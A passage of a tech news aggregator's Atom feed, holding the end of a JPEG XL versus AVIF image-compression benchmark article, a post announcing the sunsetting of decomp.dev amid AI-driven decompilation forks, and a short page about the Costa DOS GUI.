&lt;p&gt;CSS and &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; let us serve an SDR or PQ image to the user via &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/dynamic-range&quot;&gt;the &lt;code&gt;dynamic-range&lt;/code&gt; media query&lt;/a&gt;, but then you&#39;re relying on tone mapping in cases where the browser signals HDR support, but it doesn&#39;t support the full range.&lt;/p&gt;
&lt;p&gt;Although the JPEG XL format supports gain maps, no browser handles them, and the encoding story is messy.&lt;/p&gt;
&lt;p&gt;AVIF supports gain maps, and you encode them by providing two images: the SDR image and the HDR image. It uses those to calculate and encode the gain map.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your browser/screen doesn&#39;t support HDR&lt;/strong&gt;, so the PQ images will look bad.&lt;/p&gt;
&lt;p&gt;At medium brightnesses, on an HDR screen, the gain map and PQ images look the same. At maximum brightnesses, on my Pixel 10 Pro and 2024 MacBook Pro, the PQ images get a bit blown out, and the gain map image looks better. At low brightness on my Pixel 10 Pro, again the gain map image looks better.&lt;/p&gt;
&lt;p&gt;This is because, at extreme brightness levels, the device doesn&#39;t have the full HDR headroom to display the image, and gain maps can handle these cases better. So, although gain maps seem to add a lot to the file size, I think it&#39;s worth it.&lt;/p&gt;
&lt;p&gt;Maybe there&#39;s a future where tone mapping gets much better, and the advantage of a gain map becomes less significant.&lt;/p&gt;
&lt;p&gt;Regular SSIMULACRA2 only understands SDR, so for this image, the scores come from an experimental HDR mode in &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/imazen/fast-ssim2&quot;&gt;fast-ssim2&lt;/a&gt;. That means these scores can&#39;t be compared to the SSIMULACRA2 scores elsewhere in this article. ColorVideoVDP handles HDR natively, and here it&#39;s modelling a 1,500 nit HDR monitor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The two metrics disagree a lot with this image&lt;/strong&gt;. And they don&#39;t factor in the benefits of gain maps, so treat these results as a comparison between the PQ variants:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: JPEG XL wins, but the metrics disagree on how much, and with which encoder.&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;According to HDR SSIMULACRA2, jixel&#39;s default ranges from 8% smaller to 3% larger than PQ AVIF&#39;s default, and libjxl is 5–33% larger. At maximum efforts, jixel &#39;extraslow&#39; is up to 15% smaller than PQ AVIF s0.&lt;/li&gt;
&lt;li&gt;According to ColorVideoVDP, libjxl is the clear winner. At default efforts, it&#39;s 28–53% smaller than PQ AVIF, and 17–37% smaller than gain map AVIF. At maximum efforts, it&#39;s up to 23% smaller than the best AVIF, but jixel &#39;extraslow&#39; is roughly level with it, ranging from 12% smaller to 14% larger.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The metrics also disagree about gain maps.&lt;/strong&gt; HDR SSIMULACRA2 says gain map AVIF is 31–38% larger than PQ AVIF, but ColorVideoVDP says gain map AVIF is 11–25% &lt;em&gt;smaller&lt;/em&gt; than PQ AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: JPEG XL (jixel) wins.&lt;/strong&gt; At default efforts, jixel is ~2x faster than PQ AVIF, and produces files around the same size or smaller, depending on the metric. libjxl&#39;s default is 5–47% slower than PQ AVIF, but given ColorVideoVDP&#39;s view of the file sizes, that&#39;s a reasonable trade. Gain map AVIF is the slowest, as it&#39;s calculating a gain map, then essentially encoding two images: ~3x slower than PQ AVIF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: JPEG XL (jixel) wins.&lt;/strong&gt; At default efforts, jixel uses ~30% less memory than PQ AVIF. libjxl&#39;s default uses ~1.9x the memory of PQ AVIF, and gain map AVIF uses ~1.55x. At maximum efforts, libjxl uses ~6x the memory of PQ AVIF&#39;s default, and jixel &#39;extraslow&#39; uses ~10x.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: AVIF wins.&lt;/strong&gt; PQ and gain map AVIF decode at around the same speed. JPEG XL takes 1.2–1.7x as long to decode in Chrome, although it&#39;s slightly faster at the top of the quality range. In Safari, it takes 1.6–3x as long. Firefox is particularly slow with these HDR JPEG XL images, taking ~4x as long as AVIF at all qualities. We&#39;re &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=2081138&quot;&gt;working on it&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for AVIF.&lt;/strong&gt; For gain map AVIF, s5 gets you 9–12% smaller files for ~1.9x the encode time, and s0 gets you 14–20% smaller files for ~11x the encode time. For PQ AVIF, s0 gets you 14–19% smaller files, for 17–20x the encode time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort is worth it for jixel, up to &#39;slow&#39;.&lt;/strong&gt; &#39;slow&#39; gets you 7–32% smaller files than its default &#39;fast&#39;, for ~3.8x the encode time. &#39;extraslow&#39; saves another 1–9%, but takes ~10x longer than &#39;slow&#39; and uses ~8.5x the memory. jixel only has a few data points for this image, so these numbers are rough.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Higher effort isn&#39;t worth it for libjxl.&lt;/strong&gt; libjxl&#39;s maximum effort gets you 2–7% smaller files than its default, but takes ~15x longer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It will be interesting to see how JPEG XL handles gain maps once they&#39;re fully supported.&lt;/p&gt;
&lt;p&gt;By the way, these are signs that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.tiktok.com/@jaffathejake/video/7524298335885217046&quot;&gt;indicate whether my cats are inside or outside&lt;/a&gt;, and the little display indicates how long until their next automated feed.&lt;/p&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#image-quality-9&quot;&gt;Image quality&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;ColorVideoVDP, JOD (10 = no visible difference)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-9&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-9&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-9&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;SSIMULACRA2 (higher is closer to the original)&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#jpeg-transcoding&quot;&gt;JPEG transcoding&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;JPEG XL allows you to convert an existing JPEG to JPEG XL without additional loss. I tested this with the F1 image at a range of sizes and JPEG qualities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The JPEG XL is 9–20% smaller than the JPEG.&lt;/strong&gt; The saving grows with resolution, from ~9% at 400 pixels wide to ~20% at 4,900 pixels wide. The saving is slightly smaller at higher JPEG qualities. libjxl and jixel produce practically identical file sizes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For small images, JPEG XL is slower to decode than JPEG&lt;/strong&gt;, taking 1.4–2.7x as long, depending on the browser. But it&#39;s just a millisecond or two.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For larger images, JPEG XL is faster to decode in Chrome and Safari.&lt;/strong&gt; From ~1,000 pixels wide, it matches JPEG, and at the largest sizes, it decodes in around half the time. In Firefox, it ends up around the same speed as JPEG.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s output is slightly slower to decode than libjxl&#39;s&lt;/strong&gt; in Chrome and Firefox, by up to ~25%. But again, these are small numbers, at most a few milliseconds.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Of course, if you have the original, you&#39;d be way better off creating a proper new lossy version with AVIF or JPEG XL, but it&#39;s pretty cool that the JPEGs end up smaller, and sometimes faster to decode. Although, I suppose this is just pointing to a missing optimisation in browser JPEG decoders.&lt;/p&gt;
&lt;p&gt;Show me the graphs!&lt;/p&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;Megapixels&lt;/p&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;p&gt;Megapixels&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#lossless&quot;&gt;Lossless&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It is very rare to need lossless images on the web. As we&#39;ve already seen, even for things like screenshots and illustrations, lossy AVIF handles them really well. Ironically, this page is one of the outliers, because I wanted to show the compressed versions vs their lossless counterparts. Thankfully, JPEG XL is great at lossless!&lt;/p&gt;
&lt;p&gt;The results:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;File size: JPEG XL wins.&lt;/strong&gt; At default efforts, libjxl produces the smallest files for every image except the illustration, where WebP matches it. WebP is 9–17% larger for photos, and AVIF is 33–122% larger. At highest efforts, libjxl and jixel are within a few percent of each other, WebP is 5–44% larger, and AVIF is 29–176% larger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode time: JPEG XL wins.&lt;/strong&gt; libjxl&#39;s default takes 0.1–0.5 seconds, which is faster than WebP&#39;s default, and similar to AVIF&#39;s default, while producing smaller files than both.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encode memory: JPEG XL wins or WebP wins, depending on the image.&lt;/strong&gt; WebP&#39;s default uses around half the memory of libjxl&#39;s default (55–110 MB vs 110–250 MB), but libjxl&#39;s files are smaller. For photos, WebP can&#39;t match libjxl&#39;s default file size even at its maximum effort, which uses more memory than libjxl&#39;s default. For the screenshot, they use around the same memory, but libjxl&#39;s file is smaller. The illustration is the exception: WebP&#39;s maximum effort produces a file 20% smaller than libjxl&#39;s default, using the same memory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Decode time: WebP wins or JPEG XL wins, depending on the image.&lt;/strong&gt; WebP decodes photos in 17–39 ms in all browsers, and the screenshot in ~5 ms. libjxl&#39;s output takes 1–2.2x as long in Chrome, 1.4–2.7x as long in Firefox, and 2.1–3.2x as long in Safari. But for photos, JPEG XL&#39;s smaller files more than make up for this on a first load, unless the connection is really fast. For the screenshot and illustration, WebP&#39;s decode advantage wins. Lossless AVIF is particularly slow to decode, taking up to 4x as long as libjxl&#39;s output in Chrome.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lossless AVIF is bad.&lt;/strong&gt; It&#39;s significantly larger than the others, and slower to decode.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s &#39;medium&#39; setting is the sweet spot for file size.&lt;/strong&gt; It beats libjxl&#39;s default on every image (0.5–23% smaller), and is within 2–3% of the best result for photos, taking 0.4–0.7 seconds. But it uses 470–670 MB of memory, and its output is slower to decode than libjxl&#39;s, particularly in Safari.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s &#39;slow&#39; and &#39;extraslow&#39; output is very slow to decode for photos.&lt;/strong&gt; ~200–290 ms, compared to 22–95 ms for libjxl&#39;s output. That&#39;s 2–13x slower, depending on the browser. It&#39;s also slow for the alpha image, at 80–123 ms compared to 14–27 ms for libjxl&#39;s output. This doesn&#39;t happen with the screenshot and illustration. This means, for my use-case on this page, I&#39;d avoid it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;libjxl&#39;s maximum effort is very slow.&lt;/strong&gt; It produces files 2–7% smaller than its default for photos, and ~25% smaller for the screenshot and illustration, but takes 9–46 seconds, which is 50–180x as long as its default. jixel gets the same results in a couple of seconds.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s default &#39;fast&#39; setting isn&#39;t great for lossless.&lt;/strong&gt; It&#39;s the fastest encoder by far (40–80 ms), but its files are 16–32% larger than libjxl&#39;s default for photos, and ~80% larger for the screenshot and illustration.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;jixel&#39;s patches feature helps a bit with the screenshot&lt;/strong&gt; (4–9% smaller), but makes no difference to the illustration.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Show me the data!&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#file-size&quot;&gt;File size&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Image&lt;/th&gt;
&lt;th&gt;Default effort&lt;/th&gt;
&lt;th&gt;Highest effort&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1.07 MB&lt;/td&gt;
&lt;td&gt;+32%&lt;/td&gt;
&lt;td&gt;+16%&lt;/td&gt;
&lt;td&gt;+49%&lt;/td&gt;
&lt;td&gt;1.01 MB&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+20%&lt;/td&gt;
&lt;td&gt;+47%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1.39 MB&lt;/td&gt;
&lt;td&gt;+22%&lt;/td&gt;
&lt;td&gt;+17%&lt;/td&gt;
&lt;td&gt;+49%&lt;/td&gt;
&lt;td&gt;1.34 MB&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+19%&lt;/td&gt;
&lt;td&gt;+44%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1.78 MB&lt;/td&gt;
&lt;td&gt;+17%&lt;/td&gt;
&lt;td&gt;+9%&lt;/td&gt;
&lt;td&gt;+40%&lt;/td&gt;
&lt;td&gt;1.74 MB&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+11%&lt;/td&gt;
&lt;td&gt;+31%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2.91 MB&lt;/td&gt;
&lt;td&gt;+16%&lt;/td&gt;
&lt;td&gt;+13%&lt;/td&gt;
&lt;td&gt;+96%&lt;/td&gt;
&lt;td&gt;2.79 MB&lt;/td&gt;
&lt;td&gt;−2%&lt;/td&gt;
&lt;td&gt;+17%&lt;/td&gt;
&lt;td&gt;+29%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;92 kB&lt;/td&gt;
&lt;td&gt;+81%&lt;/td&gt;
&lt;td&gt;+9%&lt;/td&gt;
&lt;td&gt;+122%&lt;/td&gt;
&lt;td&gt;68 kB&lt;/td&gt;
&lt;td&gt;+6%&lt;/td&gt;
&lt;td&gt;+44%&lt;/td&gt;
&lt;td&gt;+176%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;361 kB&lt;/td&gt;
&lt;td&gt;+78%&lt;/td&gt;
&lt;td&gt;−1%&lt;/td&gt;
&lt;td&gt;+100%&lt;/td&gt;
&lt;td&gt;273 kB&lt;/td&gt;
&lt;td&gt;−6%&lt;/td&gt;
&lt;td&gt;+5%&lt;/td&gt;
&lt;td&gt;+139%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;522 kB&lt;/td&gt;
&lt;td&gt;+21%&lt;/td&gt;
&lt;td&gt;+12%&lt;/td&gt;
&lt;td&gt;+33%&lt;/td&gt;
&lt;td&gt;487 kB&lt;/td&gt;
&lt;td&gt;−3%&lt;/td&gt;
&lt;td&gt;+13%&lt;/td&gt;
&lt;td&gt;+32%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-performance-10&quot;&gt;Encoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;Encode time&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#encoding-memory-usage-10&quot;&gt;Encoding memory usage&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;Peak encoder memory&lt;/p&gt;
&lt;h3&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#decoding-performance-10&quot;&gt;Decoding performance&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;File size&lt;/p&gt;
&lt;p&gt;Decode time&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#animation&quot;&gt;Animation&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Animated image formats are dumb and animated JPEG XL is no exception. Video formats are better at video. They&#39;re built for it. They&#39;re optimised for it. Not just in terms of encoding, but also in terms of playback.&lt;/p&gt;
&lt;p&gt;I encoded a short clip, and the animated AVIF was 725 kB, and the JPEG XL was 2.17 MB for the same ColorVideoVDP score (9.5).&lt;/p&gt;
&lt;p&gt;The JPEG XL is super noisy compared to the AVIF, because each frame is encoded individually, and arttifacts land in different places per frame.&lt;/p&gt;
&lt;p&gt;AVIF is basically the keyframe format of AV1 video, with a bunch of still-image-specific optimisations thrown in. Animated AVIF however, is pretty much just a repackaging of AV1 video. You can convert an AV1 MP4 to AVIF and back losslessly - it&#39;s just a container change. That&#39;s why it performs so much better, because it&#39;s built for motion.&lt;/p&gt;
&lt;p&gt;However, animated AVIF plays like shit in Chrome and Safari. It&#39;s fine in Firefox, so this is purely an implementation problem. But… &lt;code&gt;&amp;lt;video muted autoplay playsinline&amp;gt;&lt;/code&gt; is right there.&lt;/p&gt;
&lt;p&gt;The interesting detail of animated AVIF is that it supports transparency, whereas AV1 video doesn&#39;t. But really, that just highlights that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2024/video-with-transparency/&quot;&gt;it&#39;s dumb that AV1 &lt;em&gt;didn&#39;t&lt;/em&gt; support transparency&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;No, I&#39;m not adding a demo. I don&#39;t want it on my server. Use video formats for video.&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#and-thats-it&quot;&gt;And that&#39;s it!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I already gave you my &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jakearchibald.com/2026/jpeg-xl-vs-avif/#conclusions&quot;&gt;conclusions&lt;/a&gt; at the start, so I guess I&#39;m ready to hit publish.&lt;/p&gt;
&lt;p&gt;I&#39;m a little nervous about this, because discourse around JPEG XL can get a little… weird. I see a lot of conspiracy theories about Google trying to &#39;silence&#39; JPEG XL, even though one of the leads of the project worked at Google, as part of a team that were working on JPEG XL. That &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/jyzg/status/1592811472073416704&quot;&gt;same leader claimed&lt;/a&gt; that the post-COVID layoffs wouldn&#39;t have happened if companies simply used JPEG XL. I was recently &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/web-platform-dx/developer-signals/issues/215#issuecomment-4930663101&quot;&gt;called a racist&lt;/a&gt; for asking about JPEG XL use-cases. This kind of thing just doesn&#39;t happen with other technologies and standards I follow. So, urm, I&#39;m kinda bracing for impact here.&lt;/p&gt;
&lt;p&gt;My first version of this article was very negative about JPEG XL, but then I heard about jixel, and honestly, I&#39;m really excited about it. There&#39;s serious competition between AVIF and JPEG XL now, and whoever wins, we&#39;ll all benefit from better image compression.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:48496fa4f62f6b4a6dc5f26abf375ccfe511658e</id>
    <title type="text">Sunsetting decomp.dev</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-sunsetting-decomp-dev/"/>
    <link rel="via" type="text/html" href="https://decomp.dev/"/>
    <published>2026-10-15T13:27:41+00:00</published>
    <updated>2026-10-15T13:27:41+00:00</updated>
    <author>
      <name>decomp.dev via FedericoSchonborn</name>
    </author>
    <category term="news"/>
    <category term="games"/>
    <category term="reversing"/>
    <category term="vibecoding"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;decomp.dev was born in 2024 as a way to centralize matching decompilation progress and to help expand a community of talented, like-minded folks.&lt;/p&gt;
&lt;p&gt;Historically, matching decompilation has been a brutally difficult, time consuming task, on the scale of years for any moderately-sized game with a number of active contributors. As we developed better tooling and shared knowledge around the intricacies of decompilation, the compilers, and the games themselves, progress began to accelerate.&lt;/p&gt;
&lt;p&gt;AI&#39;s use in decompilation has been experimented with for years, with mixed results. Starting with the release of Opus 4.6 and GPT-5.4 in early 2026, it was clear that the models were being trained on matching decompilation (they appeared to know our specific tools and how to use them without explicit guidance), and could achieve decent results inside of an established, clean codebase with exhaustive documentation. However, those results still required a significant amount of human cleanup and fixes for obvious issues or cheating (code that &lt;em&gt;technically&lt;/em&gt; compiles to the same machine code, but could not be reasonably passed as what the original developers wrote), and the cost per task was prohibitively expensive relative to the results.&lt;/p&gt;
&lt;p&gt;Recent models (like GPT-6-Astra) shifted things even further: they are significantly better at following complex directions, cross-referencing resources for symbols or debug information, and writing natural code with enough guidance. They are also exceptionally good permuters: they can write small scripts that test many different source code forms and combinations to find a match, even across files and headers to cover aspects like inlined helpers, signature changes, and operation ordering. In addition, their ability to remain coherent and focused across long-horizon tasks allows them to work continuously without going off the rails. Finally, they can achieve these better results faster and cheaper than earlier models could.&lt;/p&gt;
&lt;p&gt;It is now clear that, with the right guidance, human input, and code reviews, AI can expedite the decompilation process in a significant way. What is also now clear is that the community aspect of decompilation has been broken. Our projects have always been open source to encourage contributions and to benefit the community as a whole. Bad actors have been abusing this in increasingly troublesome ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Forking existing decompilation projects to &amp;quot;finish&amp;quot; them with AI.&lt;/strong&gt; Every project works differently: some may not want to use AI for legal or ethical reasons, and others may be okay with AI, or use AI themselves, but do not want drive-by contributions from folks who have put no effort into making sure the contributions are good. The bottom line is that these kinds of hostile forks put little to no effort into meaningfully contributing to existing projects, tearing apart our community fabric.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Racing to port games, especially utilizing decompilations that they did not contribute to.&lt;/strong&gt; Yes, now anyone with an AI subscription can manage to create a port or static recompilation that functions at a basic level. Compared to the decompilation process itself, porting is relatively easy, especially with the established tools written by talented humans. While community members put in the effort to decompile a game, opportunists have frequently raced to release a half-baked, barely-functional port from it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Conflating decompilation and ports.&lt;/strong&gt; For years, decompilation communities attempted to establish that decompilation is primarily for research: we love these games and want to understand how they work, and to uncover the mysteries that the original developers left behind. That&#39;s not to say that ports aren&#39;t fun too; they&#39;re just not the &lt;em&gt;sole&lt;/em&gt; reason a decompilation exists. Sloptubers and subreddits like /r/decomps have done immense damage here, freely using &amp;quot;decomp&amp;quot; to mean &amp;quot;PC port&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;decomp.dev was originally designed to gamify decompilation: watching the progress go up was a fun way to stay motivated when every fraction of a percent took real human effort. Today, that same idea has warped decompilation into a hollow numbers game, exacerbated by folks who just want to burn tokens to make number go up or &amp;quot;port game to PC&amp;quot;, all else be damned. While the increased attention &lt;em&gt;has&lt;/em&gt; brought in genuine folks who want to learn and contribute meaningfully, I believe that decomp.dev serving as a public index and leaderboard is now causing more harm than good.&lt;/p&gt;
&lt;h2&gt;What happens now?&lt;/h2&gt;
&lt;p&gt;decomp.dev will continue to track existing projects and serve individual project pages and historical data, but the main index and adding new projects are disabled.&lt;/p&gt;
&lt;h2&gt;Can I fork and host my own version of decomp.dev?&lt;/h2&gt;
&lt;p&gt;No. decomp.dev&#39;s repository has never had an open source license, and I continue to reserve all rights to the (entirely human written) code. Any replica must not use decomp.dev&#39;s code in any form.&lt;/p&gt;
&lt;h2&gt;Why not just forbid AI-assisted projects?&lt;/h2&gt;
&lt;p&gt;I have long held the opinion that AI is not the issue by itself, and we now know it can help tremendously when used correctly. &amp;quot;Slop&amp;quot; comes in many forms, is hard to define, and even harder to moderate. As a sole hobbyist, I don&#39;t have the energy (or desire) to define what makes a &amp;quot;good&amp;quot; decompilation and enforce that consistently across the hundreds of projects on the site.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;As this era of decompilation comes to a close, I want to thank everyone who&#39;s been involved and contributed to our projects, communities and tools. The people and passion behind these projects have always been what&#39;s made them fun and rewarding.&lt;/p&gt;
&lt;p&gt;— &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/encounter&quot;&gt;@encounter&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7d9aeefb65fabad7211011c634fad6d938709899</id>
    <title type="text">The Costa GUI</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-the-costa-gui/"/>
    <link rel="via" type="text/html" href="https://costa.jacobpalm.dk/"/>
    <published>2026-10-15T12:06:10+00:00</published>
    <updated>2026-10-15T12:06:10+00:00</updated>
    <author>
      <name>costa.jacobpalm.dk via FedericoSchonborn</name>
    </author>
    <category term="news"/>
    <category term="retrocomputing"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Costa is a small and lightweight application which runs on top of MS-DOS or compatible operating systems. It replaces the DOS-prompt with a clean, user-friendly interface - a so-called GUI (Graphical User Interface). Costa comes packed with a bunch of useful accessories and can be used with or without a mouse.&lt;/p&gt;
&lt;p&gt;Developed by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/jacobpalm/&quot;&gt;Jacob Palm&lt;/a&gt;, a Danish IT-professional and hobby developer, the first release of Costa came way back in 2004. Over the years - and through several releases - Costa has gradually evolved into what it is today, with new releases still coming out regularly as of 2025.&lt;/p&gt;
&lt;p&gt;Costa is provided free of charge, and the source code is open sourced for anyone who wants to have a look. To see what others think of Costa, have a look at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://costa.jacobpalm.dk/2024/05/09/costa-on-the-web.html&quot;&gt;Costa on the Web&lt;/a&gt; on the blog.&lt;/p&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;You can download the latest version of Costa now, free of charge. To get started, simply unzip the downloaded archive and run Costa. Full documentation is included in the download.&lt;/p&gt;
&lt;p&gt;Since September 2017, the full source code has been available for free under the MIT license. Visit Codeberg to see the source code, and to pull a copy for your own use.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://costa.jacobpalm.dk/downloads/costa180.zip&quot;&gt;Download Costa 1.8.0&lt;/a&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://codeberg.org/jacobpalm/costa&quot;&gt;Get source code&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Looking for older versions? &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://costa.jacobpalm.dk/archive.html&quot;&gt;Check the archive&lt;/a&gt;, which also has a complete log of changes in every version.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:7148fdb30e1f2a4bd4aacafc425ff8ef7dcfc0f5</id>
    <title type="text">Haxy on Haxy</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-15-haxy-on-haxy/"/>
